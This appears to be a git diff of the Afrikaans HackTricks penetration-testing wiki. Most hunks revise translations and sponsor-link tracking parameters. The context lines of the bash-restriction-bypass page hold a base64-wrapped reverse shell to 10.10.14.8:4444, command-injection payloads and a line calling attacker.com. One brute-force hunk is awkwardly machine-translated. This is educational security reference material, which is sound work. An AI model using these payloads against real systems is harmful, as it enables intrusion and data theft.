$5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` -### Brute Force +### Brute-Force -#### Brute Forcing Windows Hashes +Brute-force attacks involve systematically checking all possible keys or passwords until the correct one is found. This method is commonly used to crack Windows hashes. -Brute forcing Windows hashes involves attempting all possible password combinations until the correct one is found. This can be achieved using tools like **John the Ripper** or **Hashcat**. The process can be time-consuming depending on the complexity of the password. +### Aanval met Geweld + +Aanvalle met geweld behels die sistematiese nagaan van alle moontlike sleutels of wagwoorde totdat die regte een gevind word. Hierdie metode word dikwels gebruik om Windows-hashtags te kraak. ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` -### Kraak van Gewone Aansoek-Hashes +### Kraak van Gewone Aansoek Hasse ``` 900 | MD4 | Raw Hash 0 | MD5 | Raw Hash @@ -836,7 +818,7 @@ Ander maniere om HackTricks te ondersteun: * As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag. @@ -845,7 +827,7 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/generic-methodologies-and-resources/python/README.md b/generic-methodologies-and-resources/python/README.md index 0b277dca8..85648eaec 100644 --- a/generic-methodologies-and-resources/python/README.md +++ b/generic-methodologies-and-resources/python/README.md @@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %} **Interessante bladsye om te kyk:** @@ -33,10 +33,10 @@ Kry Toegang Vandag:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werksvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ -Kry Toegang Vandag: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=python) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=python" %}
diff --git a/generic-methodologies-and-resources/search-exploits.md b/generic-methodologies-and-resources/search-exploits.md index 748fd25e1..ec5621719 100644 --- a/generic-methodologies-and-resources/search-exploits.md +++ b/generic-methodologies-and-resources/search-exploits.md @@ -2,7 +2,7 @@
-Leer AWS hakwerk vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! +Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)! Ander maniere om HackTricks te ondersteun: @@ -17,20 +17,20 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) om maklik **werkstrome te bou en outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %} ### Blaaier -Soek altyd in "google" of ander: **\ \[weergawe\] uitbuit** +Soek altyd in "google" of ander: **\ \[weergawe\] exploit** -Jy moet ook die **shodan** **uitbuitsoek** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io). +Jy moet ook die **shodan** **exploit-soektog** probeer vanaf [https://exploits.shodan.io/](https://exploits.shodan.io). ### Searchsploit -Nuttig om uitbuite vir dienste in **exploitdb vanaf die konsole te soek.** +Nuttig om exploits vir dienste in **exploitdb vanaf die konsole te soek.** ```bash #Searchsploit tricks searchsploit "linux Kernel" #Example @@ -63,10 +63,10 @@ Hierdie soek na exploits in ander databasisse: [https://sploitus.com/](https://s
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) om maklik en **outomatiese werksvloei** te bou wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
diff --git a/linux-hardening/bypass-bash-restrictions/README.md b/linux-hardening/bypass-bash-restrictions/README.md index d5a8429ff..935b61c69 100644 --- a/linux-hardening/bypass-bash-restrictions/README.md +++ b/linux-hardening/bypass-bash-restrictions/README.md @@ -8,19 +8,19 @@ Ander maniere om HackTricks te ondersteun: * As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) -* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) +* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %} ## Algemene Beperkingsontduiking @@ -38,7 +38,7 @@ echo "echo $(echo 'bash -i >& /dev/tcp/10.10.14.8/4444 0>&1' | base64 | base64)| #Then get the out of the rev shell executing inside of it: exec >&0 ``` -### Bypass Paaie en verbode woorde +### Omgangspaaie en verbode woorde ```bash # Question mark binary substitution /usr/bin/p?ng # /usr/bin/ping @@ -126,7 +126,7 @@ g # These 4 lines will equal to ping $u $u # This will be saved in the history and can be used as a space, please notice that the $u variable is undefined uname!-1\-a # This equals to uname -a ``` -### Oorsteek agterkant en streep +### Oorbrug rugslag en streepie ```bash cat ${HOME:0:1}etc${HOME:0:1}passwd cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd @@ -150,7 +150,7 @@ cat `xxd -r -ps <(echo 2f6574632f706173737764)` # Decimal IPs 127.0.0.1 == 2130706433 ``` -### Tydgebase data uitlekking +### Tydgebaseerde data-eksfiltrering ```bash time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi ``` @@ -165,7 +165,7 @@ Jy kan byvoorbeeld **burpcollab** of [**pingb**](http://pingb.in) gebruik. ### Ingeboude funksies -In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** **ingeboude funksies kan gebruik nie**, dus jy moet **al jou opsies ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\ +In die geval dat jy nie eksterne funksies kan uitvoer nie en slegs toegang het tot 'n **beperkte stel ingeboude funksies om RCE te verkry**, is daar 'n paar handige truuks om dit te doen. Gewoonlik sal jy **nie al die** ingeboude funksies kan gebruik nie, dus jy behoort **al jou opsies te ken** om te probeer om die tronk te omseil. Idee van [**devploit**](https://twitter.com/devploit).\ Eerstens, kyk na al die [**shell ingeboude funksies**](https://www.gnu.org/software/bash/manual/html\_node/Shell-Builtin-Commands.html)**.** Dan het jy hierdie **aanbevelings**: ```bash # Get list of builtins @@ -223,7 +223,7 @@ if [ "a" ]; then echo 1; fi # Will print hello! 1;sleep${IFS}9;#${IFS}';sleep${IFS}9;#${IFS}";sleep${IFS}9;#${IFS} /*$(sleep 5)`sleep 5``*/-sleep(5)-'/*$(sleep 5)`sleep 5` #*/-sleep(5)||'"||sleep(5)||"/*`*/ ``` -### Bypass potensiële regexes +### Bypass potensiële regexe ```bash # A regex that only allow letters and numbers might be vulnerable to new line characters 1%0a`curl http://attacker.com` @@ -317,7 +317,7 @@ ln /f* ``` ## Lees-Slegs/Geen Uitvoer/Beperkte Distro Bypass -Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre binêre lêers uit te voer, selfs 'n skaal!:** +Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings** of selfs in 'n distrolose houer is, is daar steeds maniere om **arbitrêre bineêre lêers uit te voer, selfs 'n skaal!:** {% content-ref url="bypass-fs-protections-read-only-no-exec-distroless/" %} [bypass-fs-protections-read-only-no-exec-distroless](bypass-fs-protections-read-only-no-exec-distroless/) @@ -339,10 +339,10 @@ Indien jy binne 'n lêersisteem met die **lees-slegs en geen uitvoer beskermings
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **outomatiseer werkafvloei** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=bypass-bash-restrictions) om maklik te bou en **outomatiseer werkstrome** aangedryf deur die wêreld se **mees gevorderde** gemeenskaplike gereedskap.\ Kry Vandaag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=bypass-bash-restrictions" %}
@@ -350,7 +350,7 @@ Kry Vandaag Toegang: Ander maniere om HackTricks te ondersteun: -* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks in PDF af** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! +* As jy wil sien jou **maatskappy geadverteer in HackTricks** of **laai HackTricks af in PDF** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)! * Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com) * Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family) * **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** diff --git a/linux-hardening/privilege-escalation/docker-security/README.md b/linux-hardening/privilege-escalation/docker-security/README.md index 4fd9724e7..2482eda2c 100644 --- a/linux-hardening/privilege-escalation/docker-security/README.md +++ b/linux-hardening/privilege-escalation/docker-security/README.md @@ -17,10 +17,10 @@ Ander maniere om HackTricks te ondersteun:
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkstrome outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapshulpmiddels.\ Kry Vandag Toegang: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} ## **Basiese Docker-enjinsikuriteit** @@ -30,31 +30,31 @@ Die **Docker-enjin** maak gebruik van die Linux-kernel se **Namespaces** en **Cg ### Veilige Toegang tot die Docker-enjin -Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur HTTP benader word. Vir afstandstoegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker. +Die Docker-enjin kan óf plaaslik via 'n Unix-aansluiting óf op afstand deur middel van HTTP benader word. Vir afgeleë toegang is dit noodsaaklik om HTTPS en **TLS** te gebruik om vertroulikheid, integriteit, en outentisiteit te verseker. -Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afstandstoegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg: +Die Docker-enjin luister standaard na die Unix-aansluiting by `unix:///var/run/docker.sock`. Op Ubuntu-stelsels word Docker se aanvangsopsies in `/etc/default/docker` gedefinieer. Om afgeleë toegang tot die Docker-API en -klient moontlik te maak, stel die Docker-daemon bloot oor 'n HTTP-aansluiting deur die volgende instellings by te voeg: ```bash DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376" sudo service docker restart ``` Egter, die blootstelling van die Docker daemon oor HTTP word nie aanbeveel nie weens sekuriteitskwessies. Dit word aanbeveel om verbindings te beveilig deur HTTPS te gebruik. Daar is twee hoofbenaderings om die verbinding te beveilig: -1. Die klient verifieer die bediener se identiteit. +1. Die klient verifieer die identiteit van die bediener. 2. Beide die klient en bediener verifieer mekaar se identiteit. Sertifikate word gebruik om 'n bediener se identiteit te bevestig. Vir gedetailleerde voorbeelde van beide metodes, verwys na [**hierdie gids**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/). -### Sekuriteit van Houverbeeld +### Sekuriteit van Houverbeelding -Houverbeeld kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeld: +Houverbeeldings kan gestoor word in privaat of openbare repose. Docker bied verskeie stooropsies vir houverbeeldings: * [**Docker Hub**](https://hub.docker.com): 'n Openbare registerdiens van Docker. * [**Docker Registry**](https://github.com/docker/distribution): 'n oopbronprojek wat gebruikers toelaat om hul eie register te hê. -* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruiker-verifikasie en integrasie met LDAP-gidsdiens. +* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Docker se kommersiële registeraanbod, met rolgebaseerde gebruikersverifikasie en integrasie met LDAP-gidsdiens. ### Beeldskandering -Houers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer. +Houverhouers kan **sekuriteitskwessies** hê weens die basisbeeld of die sagteware wat bo-op die basisbeeld geïnstalleer is. Docker werk aan 'n projek genaamd **Nautilus** wat sekuriteitskandering van Houers doen en die kwessies lys. Nautilus werk deur elke Houerbeeldlaag met die kwessierepositorium te vergelyk om sekuriteitsgate te identifiseer. Vir meer [**inligting lees hierdie**](https://docs.docker.com/engine/scan/). @@ -92,9 +92,9 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5 Docker beeldondertekening verseker die veiligheid en integriteit van beelde wat in houers gebruik word. Hier is 'n beknopte verduideliking: -- **Docker Inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io). -- Om Docker inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie kenmerk is standaard af in Docker weergawe 1.10 en later. -- Met hierdie kenmerk geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). +- **Docker-inhoudsvertroue** maak gebruik van die Notary-projek, gebaseer op The Update Framework (TUF), om beeldondertekening te bestuur. Vir meer inligting, sien [Notary](https://github.com/docker/notary) en [TUF](https://theupdateframework.github.io). +- Om Docker-inhoudsvertroue te aktiveer, stel `export DOCKER_CONTENT_TRUST=1` in. Hierdie funksie is standaard af in Docker weergawe 1.10 en later. +- Met hierdie funksie geaktiveer, kan slegs ondertekende beelde afgelaai word. Die aanvanklike beeldstoot vereis die instelling van wagwoorde vir die hoof- en etikettering sleutels, met Docker wat ook Yubikey ondersteun vir verbeterde veiligheid. Meer besonderhede kan hier gevind word: [hier](https://blog.docker.com/2015/11/docker-content-trust-yubikey/). - 'n Poging om 'n ondertekende beeld met inhoudsvertroue geaktiveer af te trek, lei tot 'n "Geen vertroue data vir die nuutste" fout. - Vir beeldstote na die eerste, vra Docker vir die wagwoord van die stoor sleutel om die beeld te onderteken. @@ -109,36 +109,36 @@ Wanneer jy oorskakel na Docker-gashere, is dit nodig om die hoof- en bewaarpleks
\ -Gebruik [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) om maklik te bou en **werkstrome outomaties** te dryf met die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ -Kry Vandaag Toegang: +Gebruik [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=docker-security) om maklik te bou en **werkstrome te outomatiseer** wat aangedryf word deur die wêreld se **mees gevorderde** gemeenskapsinstrumente.\ +Kry Toegang Vandag: -{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=docker-security" %} -## Kontainer-sekuriteitskenmerke +## Kontainer Sekuriteitskenmerke
-Opsomming van Kontainer-sekuriteitskenmerke +Opsomming van Kontainer Sekuriteitskenmerke -**Hoofproses-isolasiekenmerke** +**Hoofproses Isolasiekenmerke** In gekontainerde omgewings is die isolering van projekte en hul prosesse van uiterste belang vir sekuriteit en hulpbronbestuur. Hier is 'n vereenvoudigde verduideliking van sleutelkonsepte: **Namespaces** -* **Doel**: Verseker isolering van hulpbronne soos prosesse, netwerke en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers. -* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolering bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit. -* **Beperking**: Die skep van nuwe namespaces laat nie toe dat 'n proses na die gasheer se verstek-namespaces terugkeer nie. Om die gasheer se namespaces binne te dring, sou 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik. +* **Doel**: Verseker isolasie van hulpbronne soos prosesse, netwerke, en lêersisteme. Veral in Docker hou namespaces 'n kontainer se prosesse geskei van die gasheer en ander kontainers. +* **Gebruik van `unshare`**: Die `unshare`-bevel (of die onderliggende stelseloortjie) word gebruik om nuwe namespaces te skep, wat 'n bygevoegde laag van isolasie bied. Tog, terwyl Kubernetes dit nie inherent blokkeer nie, doen Docker dit. +* **Beperking**: Die skep van nuwe namespaces laat nie 'n proses toe om terug te keer na die gasheer se verstek-namespaces nie. Om deur te dring na die gasheer se namespaces, sou 'n persoon tipies toegang tot die gasheer se `/proc`-gids benodig, deur `nsenter` vir toegang te gebruik. **Beheergroepe (CGroups)** * **Funksie**: Primêr gebruik vir die toekenning van hulpbronne onder prosesse. -* **Sekuriteitaspek**: CGroups self bied nie isoleringsekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, moontlik uitgebuit kan word vir ongemagtigde toegang. +* **Sekuriteitaspek**: CGroups self bied nie isolasiesekuriteit nie, behalwe vir die `release_agent`-kenmerk, wat, indien verkeerd geconfigureer, potensieel uitgebuit kan word vir ongemagtigde toegang. -**Bevoegdheidsverlating** +**Bevoegdheidsverwerping** * **Belangrikheid**: Dit is 'n kritieke sekuriteitskenmerk vir proses-isolasie. -* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dat dit bevoorregte aksies kan uitvoer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings. +* **Funksionaliteit**: Dit beperk die aksies wat 'n hoofproses kan uitvoer deur sekere bevoegdhede af te skakel. Selfs as 'n proses met hoofregte loop, verhoed die ontbrekende nodige bevoegdhede dit om bevoorregte aksies uit te voer, aangesien die stelseloortjies sal misluk as gevolg van ontoereikende toestemmings. Dit is die **oorblywende bevoegdhede** nadat die proses die ander laat val: @@ -163,15 +163,15 @@ Dit sal toelaat om kapasiteite, syscalls, toegang tot lêers en vouers te vermin ### Namespaces -**Namespaces** is 'n kenmerk van die Linux kernel wat **kernel hulpbronne verdeel** sodat een stel **prosesse** een stel **hulpbronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel hulpbronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel hulpbronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike hulpbronne. Hulpbronne kan in meervoudige ruimtes bestaan. +**Namespaces** is 'n kenmerk van die Linux-kernel wat **kernelbronne verdeel** sodat een stel **prosesse** een stel **bronne sien** terwyl **'n ander** stel **prosesse** 'n **verskillende** stel bronne sien. Die kenmerk werk deur dieselfde namespace vir 'n stel bronne en prosesse te hê, maar daardie namespaces verwys na afsonderlike bronne. Bronne kan in meervoudige ruimtes bestaan. -Docker maak gebruik van die volgende Linux kernel Namespaces om Kontainer isolasie te bereik: +Docker maak gebruik van die volgende Linux-kernel Namespaces om houer-isolasie te bereik: -* pid namespace -* mount namespace -* network namespace -* ipc namespace -* UTS namespace +* pid-namespace +* berg-namespace +* netwerk-namespace +* ipc-namespace +* UTS-namespace Vir **meer inligting oor die namespaces** kyk na die volgende bladsy: @@ -181,8 +181,8 @@ Vir **meer inligting oor die namespaces** kyk na die volgende bladsy: ### cgroups -Linux kernel kenmerk **cgroups** bied die vermoë om **hulpbronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Kontainers te skep met behulp van die cgroup kenmerk wat hulpbronbeheer vir die spesifieke Kontainer moontlik maak.\ -Hieronder is 'n Kontainer geskep met gebruikerspasgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat Kontainer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Kontainers dieselfde CPU-aandeel van 1024 het, kan elke Kontainer tot 33% van die CPU neem in geval van CPU-hulpbronstryd. blkio-weight is 'n verhouding wat Kontainer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000. +Linux-kernelkenmerk **cgroups** bied die vermoë om **bronne soos cpu, geheue, io, netwerkbandwydte onder** 'n stel prosesse te **beperk**. Docker maak dit moontlik om Houers te skep met behulp van die cgroup-funksie wat hulpbronnebeheer vir die spesifieke Houer moontlik maak.\ +Hieronder is 'n Houer geskep met gebruikerspasiëntgeheue beperk tot 500m, kernelgeheue beperk tot 50m, cpu-aandeel tot 512, blkioweight tot 400. CPU-aandeel is 'n verhouding wat die Houer se CPU-gebruik beheer. Dit het 'n standaardwaarde van 1024 en 'n reeks tussen 0 en 1024. As drie Houers dieselfde CPU-aandeel van 1024 het, kan elke Houer tot 33% van die CPU neem in geval van CPU-hulpbronstrydigheid. blkio-weight is 'n verhouding wat die Houer se IO beheer. Dit het 'n standaardwaarde van 500 en 'n reeks tussen 10 en 1000. ``` docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash ``` @@ -200,9 +200,9 @@ Vir meer inligting kyk: ### Bevoegdhede -Bevoegdhede maak **fyn beheer vir die bevoegdhede wat vir die rootgebruiker toegelaat kan word** moontlik. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker. +Bevoegdhede maak **fyn beheer vir die bevoegdhede wat aan die root-gebruiker toegelaat kan word**. Docker gebruik die Linux-kernel bevoegdheidseienskap om **die operasies wat binne 'n houer gedoen kan word te beperk** ongeag die tipe gebruiker. -Wanneer 'n docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om uit die isolasie te ontsnap**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie: +Wanneer 'n docker-houer uitgevoer word, **laat die proses sensitiewe bevoegdhede vall wat die proses kon gebruik om te ontsnap uit die isolasie**. Dit probeer verseker dat die proses nie sensitiewe aksies kan uitvoer en ontsnap nie: {% content-ref url="../linux-capabilities.md" %} [linux-capabilities.md](../linux-capabilities.md) @@ -227,12 +227,12 @@ Dit is 'n sekuriteitskenmerk wat Docker toelaat om **die syscalls te beperk** wa ### SELinux in Docker * **Etiketteringstelsel**: SELinux ken 'n unieke etiket toe aan elke proses en lêersisteemobjek. -* **Beleidstoepassing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer. -* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle gewoonlik 'n beperkte SELinux-etiket toegewys, gewoonlik `container_t`. +* **Beleidshandhawing**: Dit dwing sekuriteitsbeleide af wat definieer watter aksies 'n prosesetiket op ander etikette binne die stelsel kan uitvoer. +* **Houerprosesetikette**: Wanneer houermasjiene houerprosesse inisieer, word hulle 